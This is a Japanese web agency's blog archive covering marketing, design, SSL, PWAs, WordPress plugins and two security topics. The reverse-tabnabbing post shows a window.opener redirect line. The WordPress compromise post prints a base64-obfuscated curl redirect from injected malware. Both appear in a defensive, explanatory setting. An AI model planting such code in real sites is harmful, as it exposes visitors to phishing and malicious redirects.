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産創館WEB販促フェスタ

【展示会】Web販促フェスタ2019に出展決定

2019年6月11日(火)(1日のみ)に大阪産業創造館で開催されるWeb販促フェスタ2019に出展いたします。

今回はWEB関連の企業が出展されます。
・Web広告に関する企業
・Web制作に関する企業
・動画などサイトに載せられるコンテンツを制作している企業
・SNSマーケティングや運営代行といったSNS活用に関する企業
・サイトの状況を分析し、問題解決のお手伝いをしてくれる企業 など

弊社としてはWEB制作~WEBマーケティングと総合的にアナウンスできる会社として展開してまいります。

3階に出展しておりますのでよろしければご来場いただきお声がけください。

詳しくはこちら

WEB販促フェスタチラシ

 

 

 

2019年5月16日 Read more
テレマーケティング

小さな会社のWEBマーケティングの講座 第1回

今回は小さい会社のためのマーケティングのお話をしていこうと思います。
マーケティングといえど我々の会社はWEB屋さんなので最終的にはWEBにもっていくという手法いわゆるWEBマーケティングになります。
20年間WEBに携わってきたものとして体験してきた実践WEBマーケティングです。
理論的なことはいえませんがこうやっていけば成果がでるということをお伝えできればと思います。

WEBへからめていくマーケティング手法はいっぱいあります。
もちろんお話する内容が貴社に合うか否かはありますが、このメルマガを読んでいただきながら手探りで自社にある方法に最適化していってください。

数回にわたって書いていこうかと思います。

それでは今回は第1回ということでまずはマーケティングの第一歩「テレマーケティング」についてのお話スタートです。

 

テレマーケティング

テレマーケティングとは

電話で潜在顧客に対して連絡を取り、商品やサービスの販売に結びつけるマーケティング方法。
簡単に言えば電話営業です。

テレマーケティング&WEBマーケティング

電話をかける前に必ずやっておかないといけないことがあります。
それはWEBの作りこみです。
電話をかけて商品や会社の紹介したあと、もしくは話している最中にも顧客のほとんどがその会社の情報をホームページから確認します。
その際になんだこのサイトは?と思われる作りではもともこもありません。
そのため会社のWEBがダサくないこと。(めちゃくちゃかっこいい必要はありません)
商品の説明がしっかり訴求できていること。
これができていれば訪問した際に印象は良いこと間違いありません。

テレマーケティングの方法

電話で営業をするのはだれか?今回は小さい会社のためのマーケティングなので
それはもちろん経営者いわゆる社長自らを行います。
なぜ社長みずからなのか?それは会社の商品・サービスを一番知っているのは社長だからです。
架電先のお客様に説明するのに一番適しているからです。
しかも決裁権をもっているのでどんな話をしてもその場で決着できるのです。
(社長がめんどくさがってはいけません。)
最大のメリットは人件費がかからないこと!社長自ら電話して訪問するのですからお金は電話代くらい。
これ以上のメリットはありませんよね。


ただ注意していただきたのでは電話で即商品を売ろうとする行為はNGです。引かれてしまいます。
電話ではざっくりと商品の説明をするだけでOKです。相手に詳しく聞いてみようかなと思わせるだけにしておきます。
アポをとってキーマンと直接お話をさせていただいてまずは商品と社長の人柄を見てもらうのです。
その架電&アポでテレアポと呼びますがそのルーティンを何度も繰り返してご自身の電話でのトークと
訪問した際のトークの内容の精度を上げていくのです。


社長みずからがトークテストを繰り返しテレアポのマニュアル(トークスクリプト)を作ったらこっちのものです。
あとは
部下の営業担当とかテレアポ業者に任せていきましょう。

架電先について

さて、重要なので電話する相手です。
これは貴社の商材がなにかにもよりますがターゲットをきちんと精査しましょう。
企業のリスト作りは大変です。
たとえば弊社の場合はWEB制作会社なのでホームページを作りたいと思っている会社がターゲットになります。
細かい選定はそれぞれの会社様次第なので割愛しますがテレアポ先のリスト作りはいろいろな媒体などから取得できると思いますのでご自身で調べてみてください。
まずはご自身の会社の同じ地域から始めましょう。
もし大阪市中央区の会社なら中央区周辺になります。
架電先のリストの取り方がわかってくればこちらも一定程度以後は業者任せでも大丈夫です。

テレアポの成功率

電話からのアポいわゆるテレアポの成功率というのはどんなものなのでしょうか?
これは電話をかける担当者とかける顧客によって大きく変わります。
まず電話をかける人が社長で精査された顧客リストであれば20%くらいの成功率と体感しています。
10社かければ2社くらいは訪問の機会をいただけるということですね。
しかしかける人が営業マンだったり外部のテレアポ業者だったりすると率は下がります。
またただやみくもに企業にかけても確立は下がります。
貴社の製品にマッチしそうな企業であればあるほどテレアポ率はあがります。

電話からの訪問によるマーケティング

さあやっとお客様の懐にいくことができました。
ここで社長の名刺が生きてきます。
先方の担当者さんは社長さんがわざわざ来られたんだとけっこうびっくりされるケースがあります。
イチ営業マンが行くのと、社長自ら行くのでは全然効果が違うのです。


訪問時には雑談を交えながら会社の紹介と商品の紹介をします。もちろん資料は紙でもっていきます。
会社案内とか商品案内とかになりますがわかりやすい資料にすることが大事です。


あとは商品力次第になります。
過去の導入実績やケーススタディや費用などを説明して理解してもらいます。
ただここですぐに商品やサービスを購入していただくことはなかなかありません。
初めての訪問時では訪問した方の人柄や商品の説明をしっかりとみてもらいましょう。
テレアポから貴社というものをまずしってもらう・興味をもってもらうのがテレマーケティングです。

訪問後のフォロー

訪問後のフォローが非常に大事になります。
営業したら終わりとおもっている営業マンがいますがそれはNGです。
訪問日の翌日までには必ず訪問のお礼メールを送りましょう。
そのメールにはWEBのURLを記載し再度閲覧してもらえば顧客の印象に残るのは間違いありません。


そのままメールもせずに放置していると先方は貴社のことは必ず忘れてしまいます。
フォローメールは忘れずに送っておきましょう!


次に頂いた名刺情報はデータ化します。
名刺アプリなどを使ったり顧客管理ツールなど無料のツールがあるので必ず保存してきましょう。
次の段階のマーケティングに役立てていきます。


いかがでしたか?これがWEBを絡めたテレマーケティングです。
もちろんこれだけでは仕事の依頼に即つながることは少ないと思います。


ここから次につなげるメールマーケティングがあります。
次回その方法をお伝えできればと思います。

2019年5月10日 Read more
なぜダさいWEBデザイン?

webデザインがダサくなる原因

WEB制作会社において、デザイナーが初稿であげてきたWEBデザインがダサいものがあがってくる時ってありませんか?
もしくはフリーのデザイナーさんならクライアントに初稿でだしたデザインをダサいといわれたことはありませんか?
 
WEB制作会社を20年間やってきてこういったことは時々起こります。
創業当初はなんでこういったことが起こるのか?
このデザイナーはデザインが下手だなと思っていました。
 
デザイナーの採用時過去の実績をみたときにはいい作品を作っていると評価していたのに
いざ社内で作業をしてもらうといいデザインのときもあるが、ダサいデザインの時もある。
この前のデザインよかったのに、今回のデザインなんでこんなにダサいの?
てなことで社内議論したことがありました。
 
今回のお話はどうしてダサいデザインができあがってくるのかを長年やってきてわかったことをお話します。

WEBデザイン

ダサいデザインがあがってくる原因

ダサいデザインになる主な原因は以下のものが大体かと思います。
・デザイナーの経験不足・能力不足
・ディレクターとクライアントの打ち合わせ不足
・ディレクターとデザイナーの打ち合わせ不足や指示不足
・ディレクターのプランニング能力不足
・ディレクターのスケジュール管理不足
 
上のなかで経験不足の上司や経営者はデザイナーが悪いと思うのですが実はそうでないことがほとんどなのです。
 

ほんとんどのケースはディレクターの問題

デザインがダサいという原因はほとんどがディレクターいわゆるディレクションの悪さが原因なのです。
 
デザイナーが初心者ならともかく、過去の実績で良い作品を作れているにもかかわらず
デザインがダサいとおもったらディレクターのスキルを疑った方がいいと思います。
WEBのデザインなんかは通常のデザインスキルをもっていれば綺麗なホームページは作れるはずです。
 
なのにあがってきたデザインがダサいと感じたときはデザイナーが悪いのではなく、
ディレクターがデザイナーにきちんとクライアントの意向を伝えられていないと思いましょう。
 
今まで多くのデザイナーを採用してきて思ったことはWEBデザインというのはほとんどのケースで
斬新なデザインを必要としません。
マンガやキャラクターを作れるようなスキルも必要ありません。
イラストレーターとPhotoShopが操作できるならある程度のセンスがあれば大丈夫なのです。
(もちろん全然デザイン職に向いていない人もいますが)
 

初稿デザインをダサくしないようにする方法

・ワイヤーフレームを細かく作らない
ディレクターがワイヤーフレームをやたら正確に作ってくる人がいます。
これは逆に細かい部分に目がいってしまってデザイナーがそれを忠実に守ることでディレクターのダサさが反映されてしまうのです。
 
・かっこいい他のデザインを事前にデザイナーに伝える
ディレクターがクライアントとの打合せでクライアントの好みなどをしっかり聞き取り、
他のサイトできれいなデザイン、かっこいいデザインを事前に見つけてこういった雰囲気でつくってほしいとデザイナーにつたえておけばそういったものをつくってくれるはずです。
ディレクターがなんとなくで伝えてはいけません。
「かっこいいデザインにしておいて」とか「清潔感のあるデザインにしておいて」とか素人のクライアントがいいそうなことばをそのままデザイナーに伝えていませんか?
それではディレクターとしては失格です。
これは得てして営業的ディレクターに多い傾向にあります。
クライアントのいわんとしていることをきちんと翻訳してデザイナーにつたえるのがディレクターの難しい仕事なのです。
 
・タイトなスケジュールではいいものはできない。
デザインをされている方ならわかると思いますが厳しい納期を迫られるとろくなことがありません。
タイトなスケジュールのあまりとにかくパーツを配置してなんとか初稿に間に合わせなければということになるとあたりまえですがデザイン性が落ちます。
これもやはりディレクターのスケジュール管理の問題です。
クライアントとの打合せでタイトなスケジュールの場合はデザイン性が落ちてしまいますよということを理解してもらって常識のスケジュールで組むことを提案しましょう。
 

それでもダサいデザインはあがってくることはある

ワイヤーフレームがきちんとしていて、指示、打ち合わせもしっかりしていても
理想のデザインがあがってくるのは五分五分です。
それはディレクターの主観とデザイナーの主観が異なるから仕方がありません。
 
もし初稿でダサいデザインがあがったとしても、丁寧にディレクターがハンドリングすれば大丈夫です。
ダサいデザインがあがったとしてもデザイナーだけのせいにせずここがわるいとかここを直してというこをと正確につたえればいいだけです。
 

フリーのデザイナーのデザインがダサい場合

フリーのデザイナーさんに自社のホームページ制作を依頼した場合にそういったことがよくおこります。
この場合はディレクターははさまないため、すべてはデザイナーのディレクションレベルになってきます。
安いからといってフリーランスの方にホームページを依頼するとなかなかおもったようなものにならないのは致し方ないのかなと思います。
 

まとめ

今の時代、WEBといえど非常に難しいものとなっています。
プランニング⇒デザイン⇒コーディング⇒SEO⇒マーケティング⇒運用・保守
全部の作業ができる人はなかなかいません。
担当者がそれぞれの仕事内容を理解する、
それはデザイナーとディレクターはしっかり打合せしてコミュニケーションをとってクライアントの意思をしっかりくみとるということです。
 
ディレクターの能力が高い制作会社は仕事がうまく回っていると思います。
 
以上
2019年4月15日 Read more
メビック扇町

メビック扇町

フリーランスや小さな会社の場合営業活動が一番苦労されていることではないでしょうか?

デザインの実績はあるけどそれを知ってもらう機会であったり、外部のフリーランスとの情報交換であったり、企業のクリエイティブ担当者とお知り合いになったりできるという大阪にあるMEBIC扇町という施設を紹介させていただきます。

 

メビック扇町スクショ

MEBIC扇町とは

大阪市経済戦略局が設置し、公益財団法人大阪産業局が運営するクリエイティブ産業振興施設です。
(いわゆる税金でまかなっている)
大阪で活動するクリエイターたちが互いに知り合い、顔の見える関係を築くための新しいコミュニティづくりの場で、大阪に集積する企業のクリエイティブな活動にいろいろな方法でサポートしている団体です。

ホームページはこちらです。

何をしているところ

大阪で活動しているクリエイターさんに対して一人ひとりでは小さな力だけど大阪市がバックアップすることによっていろいろな支援ができるということをしています。
たとえば、

企業によるプレゼンテーション

月1回ほどのペースで開催されます。
大手企業も参加する様々な企業が自社の製品のデザインやホームページの制作、グラフィックデザイン(チラシやパンフレット)、撮影などをアウトソーシングするためにクリエイターさんを探しにきています。

セミナー開催

デザイナーさんなどに向けて各種セミナーを開いています。
独立したてのフリーランスにとって有益なセミナーを開いています。

情報発信

クリエイターさんのために各種有益な情報をメールマガジンで受け取ることができたりFacebookなどで情報を受け取ることができるので忙しいかたでもスマホがあればメビック発信の情報が取得できます。
その中にはビジネスに直結することがたくさんあります。

交流会

クリエイター同士の交流会が開催されます。
クリエイターはどうしても引きこもりがちです。しかしこのメビック扇町ではそういったひとりでされているクリエイターでも情報交換や営業活動、パートナー探しなどに利用できるような名刺交換の機会を提供しています。
気になる交流会の費用は1000円です。
しかも軽食と飲み物付きなのでかなりお得です。参加資格はわたしもはっきりは認識していませんが、クリエイターであればフリーランスでも雇われている方でも大丈夫だと思います。

貸会議室(交流スペース)

クリエイティブ産業の振興に資する目的で行われる活動を対象に、交流スペースおよびロビーを有料で貸し出しています。

場所は?

場所は関西テレビの3階にあります。
大阪市北区扇町2-1-7 カンテレ扇町スクエア3F
・地下鉄堺筋線「扇町」駅 2号出口すぐ
・JR環状線「天満」駅 西へ徒歩約3分

どういった人が参加しているの?

わたしは会社の経営者ですがホームページの制作をしているクリエイティブ企業として参加させていただいております。
フリーの方で見受けられる職種は
グラフィックデザイナー
WEBデザイナー
イラストレーター&漫画家
写真家
ライター
エンジニア
動画クリエイター
建築家
などなど。

メビック扇町の活用方法まとめ

わたしがメビック扇町に参加するようになって数か月です。
わたしもいろいろな団体や施設に参加しておりますが他の施設や交流会と比較しても非常に良いのではないでしょうか?
大阪をクリエイティブな視点から盛り上げていこうという観点からもクリエイターさんたちに非常に優しい施設であり取り組みと感じています。

頻繁にイベントに参加し、たくさんの方々とお友達になっていき、そして徐々にお仕事につなげていきましょう。
施設の運営する職員さんたちも非常に親切で親身にお話をきいていただけます。

ただどの施設もそうですが自分の営業だけをアピールするだけでは引かれます。
最後にはビジネスかもしれませんがマナーは大事です。何度か通い詰めて打ち解けていき仕事につなげる努力をするといい成果が出てくると思います。

まずはメビック扇町は楽しいところと気軽に参加してみては?

2019年4月1日 Read more

「target=”_blank”」の危険性

今回のテーマは「target=”_blank”」の危険性についてです。

この情報についてはお恥ずかしながら最近知りました。ゆえにはっきりとした確実性もないのですが
ちょっと調べてみました。
皆さんに共有していただければと思い今回のお話になります。

「rel=”noopener”」を付ける


<a>タグに「target=”_blank”」を付与する場合「rel=”noopener”」を付ける!
参考:https://developers.google.com/web/tools/lighthouse/audits/noopener?hl=ja

1)脆弱性の問題

引用:“target=”_blank” にはセキュリティ上の脆弱性もあります。
リンク先のページでは window.opener を使用して親ウィンドウのオブジェクトにアクセスしたり、
window.opener.location = newURL によって親ページの URL を変更したりできます。”


<a>タグで外部にリンクをする場合、外部のリンクが完全に信用できる自社サイトだったりする場合はその必要はないのですが
単なる勝手リンクである場合は「rel=”noopener”」をつけるべきということです。
つまりリンク先でJavascriptを使えばリンク元を操作できるようになるというものです。

では具体的にどういった操作ができてしまうのか?
リンク先のページのソースのJSに
window.opener.location = http://hogehoge.com
と書かかれている、自分のサイト(リンク元)が勝手にhogehoge.comに置きかわってしまいますのでそこでフィッシングに利用されたり
ウイルスを仕込ませるなんてことができてしまいます。

しかしながらリンク先のページはちゃんとしているところにリンクしているから大丈夫!って思っていませんか?
いえいえそんなことはありません。
ホームページは日々どんどん閉鎖されていきます。
閉鎖後にそのドメインが悪意ある人にわたりそのような地雷をしこまれるという可能性は大いにあります。
そういった観点から外部サイトへのリンクは気をつけましょう!

ちなみにWordpressには投稿時に「リンクを新しいタブで開く」にチェックをいれると自動的に「rel=”noopener”」が付与されます。

ちなみにデモを作ってみましたのでお試しください!
https://www.1st-net.jp/blog/sample/blank.html

 

2)パフォーマンスの問題

引用:“target=”_blank” を使用して任意のページから別のページにリンクしている場合、リンク元のページとリンク先のページは同じプロセスで動作します。
そのため、リンク先のページで負荷の高い JavaScript が実行されていると、リンク元のページのパフォーマンスが低下するおそれがあります。”

いわゆるリンク先でJavascriptなどで高負荷なプロセスが実行されるとリンク元も同様なプロセスが実行されるためリンク元のパフォーマンスが落ちるということらしいです。

外部リンクの<a>タグで、「target=”_blank”」をつけるなら「rel=”noopener”」を挿入するようにしましょう

以上です。

2019年3月3日 Read more

Google Chrome SSLの必須化

さて今回はSSLの話をしたいと思います。
Google ChromeではWEBサイトの全ページ常時SSL化を支持しています。
段階的にではありますがchrome上でバージョンアップごとに警告のレベルを上げてきています。

2017年1月から非SSLページにて、パスワードやクレジットカード情報などの入力時に警告が表示されるようになり、10月にはフォームやテキストボックスに文字を入力しただけで警告が表示されるようになりました。
これらの施策がさらに1段階強化され、2018年7月よりSSL化されていない全てのサイトに対して警告が表示されます。

SSLの説明

ではそもそもSSLってなに?という方もいらっしゃるかもしれませんので簡単に説明します。
SSLはSecure Sockets Layerの略でインターネット上で通信内容を暗号化する仕組みです。
WEB上ではサイトのページを開くごとにデータの送受信がされています。
その際にたとえば「こんにちは!」と書かれたページを見る場合当然ながら「こんにちは!」という文字を表示するためのデータをあなたのパソコンに送っています。
またネットショップなどで買い物をするときに個人情報を入力したデータに関してもサーバーパソコンへ送っています。
そのデータを送る際にデータを暗号化するというのがSSLなのです。
普通のページを見るだけなら暗号化する必要性というのはあまり感じられないかもしれませんが、
個人情報(パスワードとかクレジットカード情報など)は暗号化しないとデータの送信中に盗聴され、簡単に個人情報が取られてしまいます。

Googleの調査による世界のSSL化状況

Googleの調査よると、現在WebサイトのSSL化の状況は以下のようになっています。
引用:https://webmaster-ja.googleblog.com/2018/02/a-secure-web-is-here-to-stay.html
AndroidとWindowsにてChromeを使用するトラフィックの68%以上はSSL化されている
Chrome OSとMacにてChromeを使用するトラフィックの78%以上はSSL化されている
世界のトップ100サイトのうち81サイトがデフォルトでSSL接続をしている

常時SSL化のメリット

<<安全性>>
言わずもがな情報の安全性です。
SSLは通信の暗号化です。暗号化を活用することで、第三者からのデータの盗聴やパケットデータの改竄を防止できます。
(盗聴というのは入力フォームに入力したパスワードやクレジットカードの情報を盗むことができるということです。)

<<信頼性>>
SSLはレンタルサーバーなどが代理店となりSSL認証局からSSLサーバー証明書が発行されます。(無償のものから有償のもの)
この証明書をもって他サイトの「なりすましサイト」ではないことを証明できるのです。

<<SEOに有利>>
SSL化をすればSEO上有利とされています。

<<アクセスできなくなる>>
これはChromeのさじ加減なのですが今後サイトにアクセスできなくなるという可能性があります。
また検索エンジンにすら表示されなくなるということも考えられます。
そうなるとサイト運営としては致命傷ですのでメリットというよりはやらないとまずいということになります。

警告をださないようにする


わたしがインターネットを見ている限りまだまだ非SSLのサイトは多く見かけます。
このまま放置していると検索エンジンに表示されなくなったり、訪れたとしても閲覧できなくなり運営者としては困ることになると思います。
警告をださないようにするには全ページのSSL化が必須となります。
では全ページのSSL化というのはどうすればいいのか?ですが
・サイト内のCSSやJS、imgのパスをすべて相対パスに変更する
・外部からのインクルードの場合は外部の絶対パスをhttpsにする。外部サイトがSSL化されていない場合は利用をしない。
・サーバーからSSL認証を購入する。(無料、有料と様々)
・htaccessを使って非SSLからリンクされていたとしてもSSLに強制的にリダイレクトさせる
・名刺など印刷物の変更(徐々に)
簡単にいえばこんな感じです。

あなた(or顧客)のサイトは大丈夫ですか?

現在配布されているChrome 70では「保護されていません/保護されていない通信」のどちらかが表示されます。SSL証明書を導入しているにも関わらず、サイト内の一部コンテンツが非httpsになっている場合、アドレスバー上はhttpsと表示されますが「保護された通信」の表示は出ません。完全にhttps化されている場合、「保護された通信」が表示され、EV証明書の場合は組織名が表示されます。

無料証明書であるLet’s Encrypt

Googleの流れを受け各社レンタルサーバーでは Let’s Encryptという名の無料SSLを提供しています。
一般のサイトであればこれで十分だと私は思っています。
個人情報を取得したり大手会社であればもっとレベルの高い高額なSSLをお勧めします。

常時SSL化のお手伝い

もしSSL化をすべきサイトがありましたら弊社でもサポートさせていただいております。
通常の静的サイトから動的サイト(WordPressなど)まで料金はかわりますが
4万円~となっておりますのでもしそういった案件がございましたらご相談ください。

2018年11月26日 Read more

PWA(プログレッシブwebアプリ)について

弊社では最近html5をつかったスマホブラウザアプリに力を入れています。
プログレッシブwebアプリ=PWAが今後主流になってくるという話もありネイティブアプリ(スマホアプリ)は今後廃れていくと私は考えています。
弊社のメイン事業はWEB制作業務でその中でもコーディングという部分でありますます需要はあるのではないかと思っています。
今回のお話はPWA(プログレッシブwebアプリ)についての話題です。

PWAとは

PWA(Progressive Web Apps=プログレッシブウェブアプリ)はグーグルがスマホユーザーの操作性を目的とし、今までのWebアプリにWebとアプリの両方の利点を兼ね備えた仕組みのことです。

PWAのメリット

・インストールしなくてもよい
 ブラウザでネイティブアプリと同内容のことができるので、インストールの手間や容量の心配をしないですみます。この手間が省けることによって離脱率も改善されると考えられています。


・レスポンス向上によるユーザーのストレス軽減
 Webサイトに比べて速度が断然早いので、ユーザーがサイトを見ている際に、「重い」と感じることが少なくなります。


・プッシュ通知が可能になる
 今まではアプリならではの機能であるプッシュ通知が、WEBアプリでも受け取れます。


・オフラインでも可能
 インターネットにつながっていなくてもキャッシュを使ってオフラインでも利用できます。


・アップデートが不要
 アプリの場合ことあることにアップデートがありその都度何メガもあるファイルをダウンロードしどんどん容量を使います。WEBアプリももちろんアップデートはありますがネイティブアプリのように更新ファイルをダウンロードするようなことはないのでいろいろな点でストレスが軽減されます。


・言語がhtml5+Js+CSSで開発できるのでJavaとObject-Cとかそれぞれの言語で開発する手間が省けます。

感想

windowsのネイティブアプリがどんどん減少してしるようにスマホでも減少していくのは間違いないと思います。
(ただ残念なことに今現在iPhoneでは完全にPWAが対応しているとはいいがたい状況です。)

そういった世間の状況を鑑み弊社でいま力を入れているのがWEBアプリのゲームです。
今までネイティブアプリで動いていたものがhtmlコーディングでゲームを作ることができます。
まだまだ実績はすくないですが可能性は無限大です。
もしWEBアプリとしてゲームを考えているかたはぜひともご相談ください!

 

2018年10月1日 Read more

WEB制作会社が便利と思うWPプラグイン

今回は弊社が過去に使ったことがある便利なWordpressのプラグインを紹介いたします。
ざっくりと概要をお伝えしますので細かい仕様や設定方法などは他のサイトで検索してみてください。

アイキャッチを自動的に設定する

auto post thumbnail

このプラグインはアイキャッチを自動的に設定してくれるプラグインです。
どのように自動的に設定してくれるかというと、ブログ記事内の最初に配置した画像を「アイキャッチ画像」として設定します。
アイキャッチ画像を毎回設定する癖がついてひる方にはあまり意味はないかもしれませんが、
Wordpressに慣れていないエンド様などに納品する際にはインストールしておいてあげれば便利かもしれません。

SNSボタンを表示

WP Social Bookmarking Light
AddToAny Share Buttons

最近多くのSNSが増えてきてどのブログもイイねボタンとかシェアボタンとか配置していますよね。
各社のタグをいちいち張り付けていると大変ですよね。
そこで便利なのがこの「WP Social Bookmarking Light 」や「AddToAny Share Buttons」です。
このプラグインの優れいているところは初心者にも設定がしやすいことです。
「AddToAny Share Buttons」のほうはSNSの量が100以上あるので選び放題ですがそのあたりはまあたくさんあっても使わなければ意味ないので最終的にはデザインとか使い方の好みで選んでみてください。

エディタをよりべんりにする

TinyMCE Advanced

このプラグインは通常のWPの投稿エディタではない編集ボタンが備わっていることです。またカスタマイズ性に優れいています。
そのカスタマイズ性というのは自分が使うボタンだけを配置できるもので不要なものは非表示にしておけます。
また、表の挿入(編集)、YouTubeの挿入、画像の回りに余白を挿入なども可能になります。
これは入れておいて間違いないでしょう!

定型文やコードをボタン1つで挿入できる

AddQuicktag

こちらのプラグインは上の「TinyMCE Advanced 」のエディタモードではなくテキストモードで使うプラグインです。
「TinyMCE Advanced 」で便利なエディタに慣れてきたらさらにいろいろなタグを使って装飾できないかなと思うものです。
<b>や<strong>などその他のタグを事前に登録していれば簡単に挿入できます。
「TinyMCE Advanced 」ではできないタグを設定しておけますし、よく使う署名や定型文を設定しておけば簡単に記事に挿入できます。
「TinyMCE Advanced 」とあわせて入れておけばかなり便利になりますね。

人気記事をランキング的に表示させる

WordPress Popular Posts

投稿記事を人気順にランキング形式で紹介してくれるプラグインです。
記事PVを集計し、設定した期間で記事アクセスの多かった記事を自動で表示してくれます。
またPVを集計するため記事事にPVを表示することも可能になります。

この記事を書いた人は〇〇です。

Fancier Author Box

このプラグインは記事ページに投稿者のプロフィールを表示できるプラグインです。
複数のメンバーが記事を投稿する場合など記事の編集者を表示させたいですよね?
ブログの記事の下部でよく見かける「この記事を書いたのは山田です」みたいなやつですはい。

目次をつける

Table of Contents Plus

このプラグインはこのブログでも使っている目次が簡単にできるプラグインです。
投稿記事や固定ページの中に<h1>~<h6>のタグを設定することでそれが自動的に目次になり簡単にその記事へアンカーリンクしてくれるものです。
目次が自動生成されるので、手動で目次を作成して更新したり、アンカーリンクを張る手間が省けます。
目次はユーザーが記事の概要を把握しやすくなるので読み手には便利となり効果がありますよね。

またちょっとカスタマイズしてこのブログのようにデザインを凝ればかっこよくすることもできますよ!

アクセス制限(BASIC認証)をかける

WP Basic Auth

このプラグインは、管理画面と静的ファイル以外を閲覧する時に Basic 認証をかけることができるプラグインです。
このプラグインのいいところはBASIC認証のユーザーIDとパスワードが、WordPress管理画面のユーザー名とパスワードと同じになっている点です。そのため別々に設定するという手間が無くて済むので効率的なのです。

記事にプログラムコード的な表示ができるプラグイン

Crayon Syntax Highlighter

このプラグインは一般のブログでは使うケースは少ないと思いますが我々の業界の場合htmlコードとかphpコードとかを表現したい場合があります。
そんな時にコードをきれいに表現してくれるのがこのプラグイン。
各種プログラム言語に対応していてその言語の関数などを色分けしてくれます。
ATOMとかDreamWeaverのようにコードがハイライトされプログラムエディタのように表現されるので私は個人的に気に入っています。

 

いかがでしたでしょうか?

この記事はわたしなりに便利だなーとおもったものを集めて書いてみました。
ただ間違ってはいけないのはこの記事やネットとかで書かれているプラグインを使わないのにたくさんインストールはしないこと
利用するプラグインの数が多すぎると、プラグイン同士が影響し合い、エラーが発生したり、重くなることがあります。
本当に必要なプラグインだけをインストールして利用しましょう。

2018年6月9日 Read more

突然Wi-fiが繋がらなくなった!

昨日5/11にWindowsのアップデートがあったのですが、その後急に自宅のWi-fiに接続されなくなったのでその対応策を備忘録としてそして同じ症状でお困りの方のために発信します。

 

Window10のアップデートによりWi-fiがつながらなくなった場合の対処法

今回の症状と環境

・パソコン機種 HP Spectre x360 Convertible  OS:Windows10
・ルーター Buffalo WSR-2533DHP
・その他のスマホ、ゲーム機などは問題なし

実行してみたがうまくいかなかった方法

今回ネット情報を調べていろいろ対応したのですが全然うまくいかず非常にこまりました。
ただ今は自分のパソコンがインターネットにつながらなくてもスマホでネット検索できるようになったのでいい時代になりました。
少し前まではもう一つのパソコンとかで調べないといけなかったので・・
ネットで調べた際にやってみた方法

・パソコンの再起動(Windowsの再起動をする場合通常の再起動ではなくshift+再起動で完全再起動をしました。)
・ルーター・モデムなどの再起動。(電源の入れなおし)
・ルーターのリセットでプロバイダの再設定
・Windowsのシステムの回復
・インターネットのトラブルシューティング

ヒューレードパッカードに電話

もういろいろなことを試したのですがにっちもさっちもいかなかったのでサポートに電話しました。
Winodws10のUPDATE後にWi-fiが繋がらなくなったと伝えるとすでに他の方から症状があったようでさくっと解決しました。
その方法がこちら

ネットワークアダプターの再インストール

Windows画面の左下にあるWindowsロゴを右クリックするとデバイスマネージャーという項目があると思います。
こちらをクリックして「デバイスマネージャー」ウインドウを開きネットワークアダプターの「>」マークをクリックすると下のような画像になります。
デバイスマネージャー

ネットワークアダプターの3つ目にある「Intel(R) Dual Band Wireless-AC 8265」という項目を右クリックして「デバイスのアンインストール」をクリックします。
注意:次のアラート画面で「このデバイスのドライバーソフトウェアを削除します。」はチェックを入れないようにしてください。

アンインストール後にWindowsの再起動をしたらWi-fiが繋がるようになりました。

感動です。

4時間くらいかけて夜遅くまでいろいろやったのにサポート電話で5分ほどで解決。
いやーー助かりました・・・HPサンキュー!

同じような症状の方は試してみてください!

2018年5月12日 Read more
wordpress改竄イメージ

WordPressの改ざん(マルウェア)

今回のテーマはWordpressの改ざんによるウイルスを仕込まれたお話です。
あるお客様でホームページがウイルスに感染したという事例をご紹介します。

wordpress改竄イメージ

ホームページがアダルトサイトに矯正リダイレクト

先日、突然新規のお問い合わせがあり非常に慌てた様子でご相談があったのです。
そのお客様のお話では自社のサイトがおかしなことになっているということで詳しく話をおききしたところ
よくある「会社情報」とか、「プライバシーポリシー」とかいわゆる下層ページがアダルトサイトになっているというのです。
実際そのサイトにアクセスするとトップページは正常なのですが、下層ページをクリックすると
別ページに矯正リダイレクトされアダルトサイトにいくではありませんか・・・

原因はWordpressだった

お客様のお話を詳しくおききしたところWordpressというものを使っている。
以前つくってもらった制作会社は倒産してどうしようもないので至急どうにか直してほしい。
この症状が出たのはおそらく最近で先週に見たときはこんなことはなっていなかった。

というご相談でした。
ということで依頼をいただき早速調査開始。ネットからの情報を得ようと検索したのですが見つからず。
まずはWordpressにログインして投稿、固定ページなどあらいざらい確認したのですが特におかしなところが発見できませんでした。

つぎにFTPでサーバーにアクセスしてみました。
ファイルをすべてダウンロードしてとりあえずウイルスソフトでスキャンをかけてみましたがなにも検知できませんでした。

ではお客様の相談内容からして最近発覚したということなのでファイルのアップデートのタイムスタンプを調査。
すると数日前に更新されているファイルを発見。それがWPの上位階層にある「wp-blog-header.php」でした。
このファイルはデフォルトでは350バイトほどしかない少量のサイズなのに1600バイトというサイズ。
むむむ!!あやしい。おそらくこれだ!わたしはファイルをテキストエディタで開いてみました。

「wp-blog-header.php」が改ざんされていた!

ソースコードの改竄イメージ

追記というか改竄です。
「wp-blog-header.php」の改竄されたコードがこちら

で、デフォルトはこちら

強制的にリダイレクトさせる

この改竄されてコードで核心の部分は
$ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20v") . "15661992802f193eb068b4093544eb55" . $p);
↑ ここ。


一見なにかわららないがデコードすると、
http://domforultradors.com/15661992802f193eb068b4093544eb55
となりこのhttp://domforultradors.com/に飛ばしているわけです。
このジャンプ先のアダルトサイトで何を目的としているのはこれいじょう深入りするのも怖いのでわかりませんが
フィッシングなのか、ウイルスなのか・・・

解決方法

解決方法ですがデフォルトの「wp-blog-header.php」に差し替えたら問題なく以前のようにもどりました。
ちょっとこれで様子を見ることになりました。

原因は?

このファイルが改ざんされた根本的な理由はまだわかっていません。
・考えられるのはプラグインの脆弱性をつかれた。
・FTPやWP管理画面のパスワード、が甘いので不正ログインされた。
・・・
などかと思います。

あとがき

今回のマルウェアに関する情報は日本語ではみつけることができなかったのですが海外の方が書いている記事があり翻訳して同様の症状のかたもいるということはわかりました。
WordPressは便利なソフトではありますが素人が管理するのは非常に難しいですし大変です。
制作会社にメンテナンスを依頼してWPを最新の状態に更新しておくことが大事なんだろうとおもいます。

今回はこのへんで。

2018年4月5日 Read more